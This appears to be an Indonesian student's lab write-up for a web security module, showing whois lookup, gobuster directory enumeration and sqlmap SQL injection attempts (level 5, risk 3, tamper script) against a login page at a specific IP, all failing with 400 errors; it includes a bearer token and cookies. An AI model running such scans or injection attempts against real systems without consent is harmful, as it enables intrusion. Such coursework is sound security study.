

Dokumentasi Modul 3

A. Problem saat login

[Home](#) [Dashboard](#) [Logout](#) [Contact Support](#)

Your Profile, fazrulahmadf

Invalid credit card number

You need to finish setting up your profile before you can use all the features of this website.

Phone:

Credit Card:

Secret Question:

Secret Answer:

Current Password (for verification):

Saya udah coba berkali-kali untuk credit card number, tetep gak bisa update profile, pesan errornya invalid credit card number

B. Information Gathering

Saya menggunakan command whois untuk mendapatkan informasi tentang websitenya

```

inetnum:          167.172.0.0 - 167.172.255.255
netname:          DigitalOcean
descr:            DigitalOcean, LLC
country:          US
org:              ORG-DOI2-RIPE
admin-c:          PT7353-RIPE
tech-c:           PT7353-RIPE
status:           LEGACY
mnt-by:           RIPE-NCC-LEGACY-MNT
mnt-by:           digitalocean
created:          2003-06-26T15:46:32Z
last-modified:    2019-05-01T16:19:07Z
source:           RIPE

organisation:     ORG-DOI2-RIPE
org-name:         DigitalOcean, LLC
country:          US
org-type:         LIR
address:          101 Avenue of the Americas, 10th Floor
address:          New York
address:          10013
address:          UNITED STATES
phone:            +1 888 890 6714
mnt-ref:          digitalocean
mnt-ref:          RIPE-NCC-HM-MNT
mnt-by:           RIPE-NCC-HM-MNT
mnt-by:           digitalocean
abuse-c:          AD10778-RIPE
language:         EN
created:          2012-11-29T14:59:01Z
last-modified:    2020-12-16T13:24:44Z
source:           RIPE # Filtered

person:           DigitalOcean Network Operations
address:          101 Ave of the Americas, FL2
address:          New York, NY, 10013
address:          United States of America
phone:            +13478756044
nic-hdl:          PT7353-RIPE
mnt-by:           digitalocean
created:          2015-03-11T16:37:07Z
last-modified:    2022-08-23T13:31:16Z
source:           RIPE # Filtered
org:              ORG-DOI2-RIPE

% This query was served by the RIPE Database Query Service version 1.112 (ABERDEEN)

```

C. Gobuster

Menggunakan gobuster untuk mengetahui directory lists

```

└─$ gobuster dir -u http://167.172.75.216/ -w /usr/share/seclists/Discovery/Web-Content/dire
ctory-list-1.0.txt

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehrla (@firefart)

[+] Url:             http://167.172.75.216/
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:         /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.tx
t
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s

Starting gobuster in directory enumeration mode

/profile          (Status: 302) [Size: 28] [→ /login]
/register         (Status: 200) [Size: 1399]
/dashboard        (Status: 302) [Size: 28] [→ /login]
/login            (Status: 200) [Size: 905]
/css              (Status: 301) [Size: 173] [→ /css/]
/js               (Status: 301) [Size: 171] [→ /js/]
/logout           (Status: 302) [Size: 28] [→ /login]
/Hannes_Alfv%E9n  (Status: 400) [Size: 1016]
/Alfv%E9n_wave    (Status: 400) [Size: 1014]
/EnciclopediaLibre_Universal_en_Espa%FIol (Status: 400) [Size: 1042]
/mosquitologofxFCrshopfigurklein_3 (Status: 400) [Size: 1034]
Progress: 97590 / 141709 (68.87%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 97665 / 141709 (68.92%)

Finished

```

D. SQL I

Mencoba menggunakan SQLi dan hasilnya seperti ini:

```
sqlmap -u "http://167.172.75.216/login" --data="username=admin&password=admin" --level=5
--risk=3 --batch --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage cause
d by this program

[*] starting @ 12:38:51 /2024-05-30/

[12:38:52] [INFO] testing connection to the target URL
[12:38:52] [WARNING] the web server responded with an HTTP error code (400) which could inte
rfere with the results of the tests
[12:38:52] [INFO] testing if the target URL content is stable
[12:38:52] [INFO] target URL content is stable
[12:38:52] [INFO] testing if POST parameter 'username' is dynamic
[12:38:52] [WARNING] POST parameter 'username' does not appear to be dynamic
[12:38:54] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not b
e injectable
[12:38:54] [INFO] testing for SQL injection on POST parameter 'username'
[12:38:54] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[12:39:18] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[12:39:38] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[12:39:41] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[12:39:41] [WARNING] there is a possibility that the target (or WAF/IPS) is resetting 'suspi
cious' requests
[12:39:41] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the reques
t(s)
[12:39:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comm
ent)'
[12:39:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comme
nt)'
[12:40:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[12:40:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
```

Lalu saya mencoba menggunakan --level=5 --risk=3 --tamper=space2comment --batch --dbs dan hasilnya seperti ini:

```
sqlmap -u "http://167.172.75.216/login" \
--data="{\"username\":\"admin\\\", \"password\":\"admin\\\"}" \
--headers="Content-Type: application/json, Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InNlchVsdWhrYXJha3RlciIsImhhdCI6MTcxNzA4Mjc2OXA0.tV_K4H8W0scRs6Gzbc pDBt0nwc7aKCDSTl1P3_3laXs, Cookie: username=sepuluhkarakter; td_cookie=2961621907" \
--level=5 --risk=3 --tamper=space2comment --batch --dbs

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is
illegal. It is the end user's responsibility to obey all applicable local, state and federal
laws. Developers assume no liability and are not responsible for any misuse or damage cause
d by this program

[*] starting @ 13:47:15 /2024-05-30/

[13:47:15] [INFO] loading tamper module 'space2comment'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[13:47:15] [INFO] testing connection to the target URL
[13:47:16] [WARNING] the web server responded with an HTTP error code (400) which could inte
rfere with the results of the tests
[13:47:16] [INFO] testing if the target URL content is stable
[13:47:18] [INFO] target URL content is stable
[13:47:18] [INFO] testing if (custom) POST parameter 'JSON username' is dynamic
[13:47:18] [WARNING] (custom) POST parameter 'JSON username' does not appear to be dynamic
[13:47:18] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON usernam
e' might not be injectable
[13:47:18] [INFO] testing for SQL injection on (custom) POST parameter 'JSON username'
[13:47:18] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:47:51] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[13:47:51] [WARNING] there is a possibility that the target (or WAF/IPS) is resetting 'suspi
cious' requests
[13:47:51] [CRITICAL] connection reset to the target URL. sqlmap is going to retry the reques
t(s)
[13:48:00] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[13:48:29] [WARNING] user aborted during detection phase
how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)h
ange verbosity/(q)uit] q
[13:48:31] [WARNING] HTTP error codes detected during run:
400 (Bad Request) - 81 times

[*] ending @ 13:48:31 /2024-05-30/
```

Respon tersebut menunjukkan bahwa server mengembalikan error 400 Bad Request, yang mungkin disebabkan oleh skrip tamper atau masalah lain dengan format requesttingnya. Selain itu, parameter tersebut tidak tampak dapat diinject berdasarkan tes awal.